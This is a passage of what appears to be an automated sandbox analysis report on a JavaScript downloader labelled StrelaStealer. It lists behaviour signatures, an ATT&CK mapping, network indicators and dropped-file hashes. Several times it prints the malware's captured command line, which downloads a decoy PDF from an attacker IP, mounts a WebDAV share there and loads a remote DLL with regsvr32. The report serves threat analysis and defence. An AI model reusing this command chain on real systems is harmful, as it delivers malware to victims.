Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	132 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1383920648257922108.js	8%	Virustotal		Browse
1383920648257922108.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/V9	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.36	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3042970680.0000019718400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/V9	net.exe, 00000006.00000002.1806358950.0000024FC6A4A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1805638454.0000024FC6A4A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1816441236.0000019718482000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1806358950.0000024FC6A4A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1806305444.0000024FC6A18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1805638454.0000024FC6A4A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1806358950.0000024FC6A6D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1805569499.0000024FC6A6B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1816441236.0000019718482000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588827
Start date and time:	2025-01-11 06:02:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1383920648257922108.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/58@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.105, 2.16.168.107, 34.237.241.83, 50.16.47.176, 18.213.11.84, 54.224.241.105, 172.64.41.3, 162.159.61.3, 52.149.20.212, 184.28.90.27, 23.209.209.135, 20.242.39.171, 52.165.164.15, 23.54.161.81, 23.54.161.98, 23.54.161.97, 23.55.235.177, 23.55.235.176, 23.55.235.178, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:03:07	API Interceptor	20x Sleep call for process: powershell.exe modified
00:03:11	API Interceptor	1x Sleep call for process: net.exe modified
00:03:12	API Interceptor	2x Sleep call for process: svchost.exe modified
00:03:24	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	W1POMvaEjU.exe	Get hash	malicious	FormBook	Browse	217.20.57.18
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2612377921588116147.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073593487569848
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrp:KooCEYhgYEL0In
MD5:	062EB46717AFF7391ADF6A9005E51525
SHA1:	55FB4AC818792F41DC51EA55DC30E8F20B89EE23
SHA-256:	7859CF880C9F88BF8942BFAF99D67D20D844E3C27C57F7B4A619C48B85C99402
SHA-512:	0EC1AC4F8AA36D1DB74103B99D05CB04D5046334F4DF32AAEC52004D9E1C4D4AE9BC15F41DC5E59F736D4352D39CAD0227B29A8218F87A1126DA98CB7349289B
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe0f72a2a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221051229611297
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:5aza/vMUM2Uvz7DO
MD5:	DB746F7EB5E38CEC49AC0565E9834A36
SHA1:	C5E1F7F7236DCB9691ECD84BE52FF791918AAD11
SHA-256:	3BB474DD150F4EAC1FE6679F39461F19CBC8DC8A8CA7234F4F9D4070EC8518E0
SHA-512:	E50F9E9A2A3E0023AECD03F712F683408BC942E23EDF3E4D5EA8CB7FFCCC87758FE49B42FB62280CACB378328F0C3176C224FFA51EE5DB4B3FAF360C293B2A07
Malicious:	false
Preview:	..**... .......A.......X\...;...{......................0.!..........{A......}/.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................}s.....}O....................C.....}O..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07645826640132056
Encrypted:	false
SSDEEP:	3:zKYef7ijn13a/qsplollcVO/lnlZMxZNQl:zKzfW53qqvOewk
MD5:	8671ADF3C60F429B4ED34A0E89CD1E78
SHA1:	E1046F3F7F672F108AF8F040F5324DDD58338C0D
SHA-256:	121847FAC2613E140EA68B8139044F426D385AC150BF1A2023FDB60D77B0E3BF
SHA-512:	7DDF6737AFE1469D8176BB1C8F21006361F86F8F2A1E1A8A5DA1FF346742BFDB85CA131F9D1245A87BE2FB6B6771E7B346304131D4F088119B37FA5DE05D5047
Malicious:	false
Preview:	:.A.....................................;...{.......}O......{A..............{A......{A..........{A]...................C.....}O.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.068839016215191
Encrypted:	false
SSDEEP:	6:iOLlf6DM+q2Pwkn2nKuAl9OmbnIFUtlopgZmwfopDMVkwOwkn2nKuAl9OmbjLJ:7Ld+vYfHAahFUtlom/foiV5JfHAaSJ
MD5:	7A675B47DA078CD9A15B8F2BACF97E17
SHA1:	E0B72DA50A3D5707A739704C170CE7D35A7B50BC
SHA-256:	8E3F377DC3FDDF50B52016F8F4772ABE594639D67A4D97DFC7304741BC1F5038
SHA-512:	CE67B4E3F63468D9F689AA7C852AB86855F9E566C2D4756FBCB7545A72777F5691CA5B3E0843B1A580792764F7F99B0F9E04E632FB5F2962A193B6461F7B5898
Malicious:	false
Preview:	2025/01/11-00:03:12.209 1c1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:03:12.218 1c1c Recovering log #3.2025/01/11-00:03:12.218 1c1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.068839016215191
Encrypted:	false
SSDEEP:	6:iOLlf6DM+q2Pwkn2nKuAl9OmbnIFUtlopgZmwfopDMVkwOwkn2nKuAl9OmbjLJ:7Ld+vYfHAahFUtlom/foiV5JfHAaSJ
MD5:	7A675B47DA078CD9A15B8F2BACF97E17
SHA1:	E0B72DA50A3D5707A739704C170CE7D35A7B50BC
SHA-256:	8E3F377DC3FDDF50B52016F8F4772ABE594639D67A4D97DFC7304741BC1F5038
SHA-512:	CE67B4E3F63468D9F689AA7C852AB86855F9E566C2D4756FBCB7545A72777F5691CA5B3E0843B1A580792764F7F99B0F9E04E632FB5F2962A193B6461F7B5898
Malicious:	false
Preview:	2025/01/11-00:03:12.209 1c1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:03:12.218 1c1c Recovering log #3.2025/01/11-00:03:12.218 1c1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1076724361109935
Encrypted:	false
SSDEEP:	6:iOLln9+q2Pwkn2nKuAl9Ombzo2jMGIFUtl2JZmwflN9VkwOwkn2nKuAl9Ombzo23:7LV4vYfHAa8uFUtl2J/ffD5JfHAa8RJ
MD5:	B9BC212A23EB34FC0FFD618B23A36BF9
SHA1:	0126E832A055533183D1A8223F9356896602FEA4
SHA-256:	EE827671841CC8ABBB00B3CDB80968187BA240A551F81080F52B366C91378945
SHA-512:	063975C016A2E8EA2F10F98020CAD3F6AF6FB1546AC4A283EAAA31EFD421DA1B9F1CD537D1C879BEA51049B03CF0E3D8C075C3E0315A920E31CAF104FDCA3FF7
Malicious:	false
Preview:	2025/01/11-00:03:12.240 1d28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:03:12.241 1d28 Recovering log #3.2025/01/11-00:03:12.242 1d28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1076724361109935
Encrypted:	false
SSDEEP:	6:iOLln9+q2Pwkn2nKuAl9Ombzo2jMGIFUtl2JZmwflN9VkwOwkn2nKuAl9Ombzo23:7LV4vYfHAa8uFUtl2J/ffD5JfHAa8RJ
MD5:	B9BC212A23EB34FC0FFD618B23A36BF9
SHA1:	0126E832A055533183D1A8223F9356896602FEA4
SHA-256:	EE827671841CC8ABBB00B3CDB80968187BA240A551F81080F52B366C91378945
SHA-512:	063975C016A2E8EA2F10F98020CAD3F6AF6FB1546AC4A283EAAA31EFD421DA1B9F1CD537D1C879BEA51049B03CF0E3D8C075C3E0315A920E31CAF104FDCA3FF7
Malicious:	false
Preview:	2025/01/11-00:03:12.240 1d28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:03:12.241 1d28 Recovering log #3.2025/01/11-00:03:12.242 1d28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\664da99d-3d1d-47e9-9d0e-fb7aa03c5100.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.952537765278486
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq69ksBdOg2HpAcaq3QYiubInP7E4T3y:Y2sRds1JdMHp3QYhbG7nby
MD5:	9A747C85EB64754E043AEF2EA7C01C3D
SHA1:	8CAF9C94046593AEC5FB62227531DC4009B857CF
SHA-256:	2FB325C9FA49A425A8A7CB40E1636D5237C0A543D31443ED2DAE9151BC751144
SHA-512:	00BAB9E987E81BABD7342AD8FEF484821DACFD8BC1C036495C9A2D43A3EACF614C3682B0932E2D3677688E623D44621587752F99753361BC794B744380618B07
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381131803719518","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144548},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.952537765278486
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq69ksBdOg2HpAcaq3QYiubInP7E4T3y:Y2sRds1JdMHp3QYhbG7nby
MD5:	9A747C85EB64754E043AEF2EA7C01C3D
SHA1:	8CAF9C94046593AEC5FB62227531DC4009B857CF
SHA-256:	2FB325C9FA49A425A8A7CB40E1636D5237C0A543D31443ED2DAE9151BC751144
SHA-512:	00BAB9E987E81BABD7342AD8FEF484821DACFD8BC1C036495C9A2D43A3EACF614C3682B0932E2D3677688E623D44621587752F99753361BC794B744380618B07
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381131803719518","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144548},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.260482046708779
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7X+da:etJCV4FiN/jTN/2r8Mta02fEhgO73go9
MD5:	BE5C09CF18A8ECA074833930AB435CFA
SHA1:	AB99B30BEB3D3287A40334715B02083EE1EF7EFB
SHA-256:	56DB560E6B8663E0604D24D61B26AB687DECE8B3D32241FB14636A346AEC7C6D
SHA-512:	75781991B71E0D5008422998BB99BAF804A6128DCDA4DCAECB186F6204B9C443FC253CD7319F00BADD976D9664F1F193101380E2D9A535E16FD2F305EE8EF94B
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.111163399347769
Encrypted:	false
SSDEEP:	6:iOL/dux9+q2Pwkn2nKuAl9OmbzNMxIFUtl+UJZmwfG9VkwOwkn2nKuAl9OmbzNMT:7LVux4vYfHAa8jFUtl+UJ/fGD5JfHAab
MD5:	462A3636E9F1B4AF341AF304AFE15F58
SHA1:	E938B9B6EA06264B64F3D10A04FAEC24E470545F
SHA-256:	DB6B023ED5A5DEBB0CA9C283D2BAC634BF36834BE80EC343493517A46AAF77AF
SHA-512:	BA8D425906270A0D2816D1B7AE66FC068D3A95DF3679573DB7B43B0A657E88F3B4CF0B73B28859D27553A0A596142695D80D431A94F155089088EE0D34609B38
Malicious:	false
Preview:	2025/01/11-00:03:12.908 1d28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:03:12.910 1d28 Recovering log #3.2025/01/11-00:03:12.911 1d28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.111163399347769
Encrypted:	false
SSDEEP:	6:iOL/dux9+q2Pwkn2nKuAl9OmbzNMxIFUtl+UJZmwfG9VkwOwkn2nKuAl9OmbzNMT:7LVux4vYfHAa8jFUtl+UJ/fGD5JfHAab
MD5:	462A3636E9F1B4AF341AF304AFE15F58
SHA1:	E938B9B6EA06264B64F3D10A04FAEC24E470545F
SHA-256:	DB6B023ED5A5DEBB0CA9C283D2BAC634BF36834BE80EC343493517A46AAF77AF
SHA-512:	BA8D425906270A0D2816D1B7AE66FC068D3A95DF3679573DB7B43B0A657E88F3B4CF0B73B28859D27553A0A596142695D80D431A94F155089088EE0D34609B38
Malicious:	false
Preview:	2025/01/11-00:03:12.908 1d28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:03:12.910 1d28 Recovering log #3.2025/01/11-00:03:12.911 1d28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

